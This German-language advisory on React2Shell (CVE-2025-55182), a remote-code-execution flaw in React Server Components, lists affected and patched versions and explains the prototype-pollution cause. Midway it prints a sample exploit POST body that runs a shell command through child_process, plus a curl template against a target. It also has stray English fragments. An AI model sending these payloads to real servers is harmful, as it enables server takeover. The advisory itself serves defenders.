
Eine einzige manipulierte HTTP-Anfrage kann Ihren gesamten Server gefährden." — React Security Team, Dez. 2025
Schweregrad: KRITISCH | CVSS v3.1: 10.0 (Maximal) | Status: Aktiv ausgenutzt
React2Shell ist eine kritische Sicherheitslücke in React Server Components (RSC) – einer modernen Funktion, mit der React Teile Ihrer Web-App auf dem Server statt im Browser ausführen kann.
Der Fehler erlaubt es jedem Angreifer im Internet – ohne Login, besondere Berechtigungen oder Vorkenntnisse Ihres Systems – eine einzige bösartige HTTP-Anfrage an Ihren Server zu senden und beliebigen Code darauf auszuführen. Das bedeutet, sie können Daten stehlen, Malware installieren, Ihre Dateien mit Ransomware sperren oder die volle Kontrolle über Ihren Server übernehmen.
Stellen Sie es sich so vor: Ihr Server hat eine Tür, die sich nur für vertraute Besucher öffnen sollte, aber es stellt sich heraus, dass jeder hineinkommen kann – einfach durch Klopfen auf eine bestimmte Weise.
| Eigenschaft | Wert |
|---|---|
| CVE-ID | CVE-2025-55182 (auch React2Shell genannt) |
| Schweregrad | Kritisch – Remote-Code-Ausführung (RCE) |
| CVSS v3.1-Wert | 10.0 / 10.0 (maximal möglich) |
| CVSS v4-Wert | 9.3 / 10.0 |
| Schwachstellentyp | CWE-502 – Deserialisierung nicht vertrauenswürdiger Daten |
| Angriffsmethode | Einzelne HTTP-POST-Anfrage, keine Authentifizierung erforderlich |
| Entdeckt von | Lachlan Davidson (Sicherheitsforscher) |
| Offengelegt | 3. Dezember 2025 |
| Exploit-Status | Öffentlicher Exploit verfügbar – wird aktiv von Angreifern genutzt |
| Verwandte CVE | CVE-2025-66478 (Next.js – bestätigtes Duplikat) |
react-server-dom-webpack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-parcel — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-turbopack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0
### Betroffene Frameworks
| Framework / Tool | Betroffener Bereich |
|----------------------------|------------------------------------------------------|
| **Next.js 15.x – 16.x** | Nur App Router — Pages Router ist **NICHT** betroffen |
| **React Router RSC** | Nur instabiler / Vorschau-Kanal |
| **Redwood SDK** | Nur RSC-Modus |
| **Waku** | Alle Versionen mit aktiviertem RSC |
| **Expo** | Nur RSC-Vorschau-Builds |
| **Vite RSC Plugin** | Alle Integrationen |
| **Parcel RSC Plugin** | Alle Integrationen |
| **Jedes benutzerdefinierte RSC-Setup** | Jeder Server, der RSC Flight-Deserialisierung verwendet |
> ⚠️ **Wichtig:** Sie sind angreifbar, auch wenn Sie keine Server Actions oder Server Functions explizit verwenden — solange React Server Components in Ihrer App aktiviert sind.
> ✅ **Nicht betroffen:** Apps, die nur den Pages Router verwenden, oder Apps ohne serverseitiges React.
---
## Warum ist das so gefährlich?
Drei Gründe machen React2Shell außergewöhnlich schwerwiegend:
1. **Keine Authentifizierung erforderlich.** Jeder im Internet kann diesen Angriff versuchen. Kein Konto, kein Token, kein vorheriger Zugriff nötig.
2. **Funktioniert bei Standardinstallationen.** Eine brandneue, mit `create-next-app` erstellte Next.js-App — ohne jegliche benutzerdefinierte Konfiguration — ist sofort ausnutzbar. Entwickler müssen nichts falsch machen, um angreifbar zu sein.
3. **Nahezu 100% Zuverlässigkeit.** Sicherheitsforscher haben bestätigt, dass der Exploit bei ungepatchten Servern fast immer funktioniert.
---
## Wie funktioniert der Angriff?
### Die Ursache — Einfach erklärt
Wenn Ihr React-Server Daten von einem Client empfängt, verarbeitet (deserialisiert) er diese Daten, um zu verstehen, was als Nächstes zu tun ist. Das Problem ist, dass React **nie überprüft, ob diese Daten sicher oder legitim sind** — es vertraut blind alles, was ankommt.
Ein Angreifer nutzt dies aus, indem er speziell präparierte Daten sendet, die das interne JavaScript-Verhalten auf dem Server kapern und ihm letztendlich ermöglichen, eigenen Code einzuschleusen und auszuführen.
### Technische Erklärung
Der Exploit verwendet eine Technik namens **Prototype Pollution**:
1. Der Angreifer sendet eine manipulierte HTTP-POST-Anfrage an einen beliebigen RSC-Endpunkt (keine spezielle URL erforderlich).
2. Der React Flight Protocol Parser verarbeitet die Nutzlast ohne jegliche strukturelle Validierung.
3. Die schädliche Nutzlast beschmutzt `Object.prototype.then` — ein fundamentales JavaScript-Objekt, von dem alle anderen Objekte erben.
4. Dies gewährt dem Angreifer Zugriff auf den `Function`-Konstruktor von JavaScript.
5. Der Angreifer verwendet den `Function`-Konstruktor, um beliebigen Code als Node.js-Serverprozess auszuführen.```
Step 1 — Attacker sends crafted HTTP POST
↓
Step 2 — React deserializes payload blindly
↓
Step 3 — Object.prototype.then is hijacked (prototype pollution)
↓
Step 4 — Function constructor is accessed
↓
Step 5 — Attacker's code runs on the server
↓
Step 6 — Attacker has full server control
// This is a simplified version of the vulnerable code path inside React function parseFlightRequest(req) { const flight = req.body;
// ❌ NO validation — the server trusts whatever arrives
const decoded = dangerousDeserialize(flight); // Attack happens here
// If the attacker controls decoded.action → RCE
return executeServerReference(decoded.action);
}
### Wie der Angriff aussieht```http
POST /?flight=1 HTTP/1.1
Content-Type: text/plain
{
"status": "resolved_model",
"$1:__proto__:then": "node:process.mainModule.require('child_process').execSync('id > /tmp/rce')",
"_formData.get": "$1:constructor:constructor"
}
No input content provided.```bash
curl -X POST https://target.com/react?flight=1
-H "Content-Type: text/plain"
--data '["$ACTION_REF","proto","constructor","<attacker_payload>"]'
> 🚫 **Rechtlicher Hinweis:** Verwenden Sie dies nicht gegen ein System, das Sie nicht besitzen oder für das Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
---
## Behobene Versionen — Jetzt patchen
### React RSC-Pakete
| Paket | Gepatchte Version |
|------------------------------|------------------------------|
| `react-server-dom-webpack` | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-parcel` | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-turbopack` | 19.0.1, 19.1.2, **19.2.1+** |
> 💡 **Empfehlung:** Aktualisieren Sie auf **19.2.3**, um auch damit verbundene Folge-Schwachstellen zu beheben (CVE-2025-55183, CVE-2025-55184, CVE-2025-67779).
### Next.js
| Ihre Version | Aktualisieren auf |
|--------------|-------------------|
| 13.x / 14.x | **14.2.35** |
| 15.0.x | **15.0.5** |
| 15.1.x | **15.1.9** |
| 15.2.x | **15.2.6** |
| 15.3.x | **15.3.6** |
| 15.4.x | **15.4.8** |
| 15.5.x | **15.5.7** |
| 16.0.x | **16.0.7** |
---
## So schützen Sie sich — Schritt für Schritt
Befolgen Sie diese Schritte **in der Reihenfolge**. Schritt 1 und 2 sind obligatorisch. Der Rest fügt zusätzliche Verteidigungsebenen hinzu.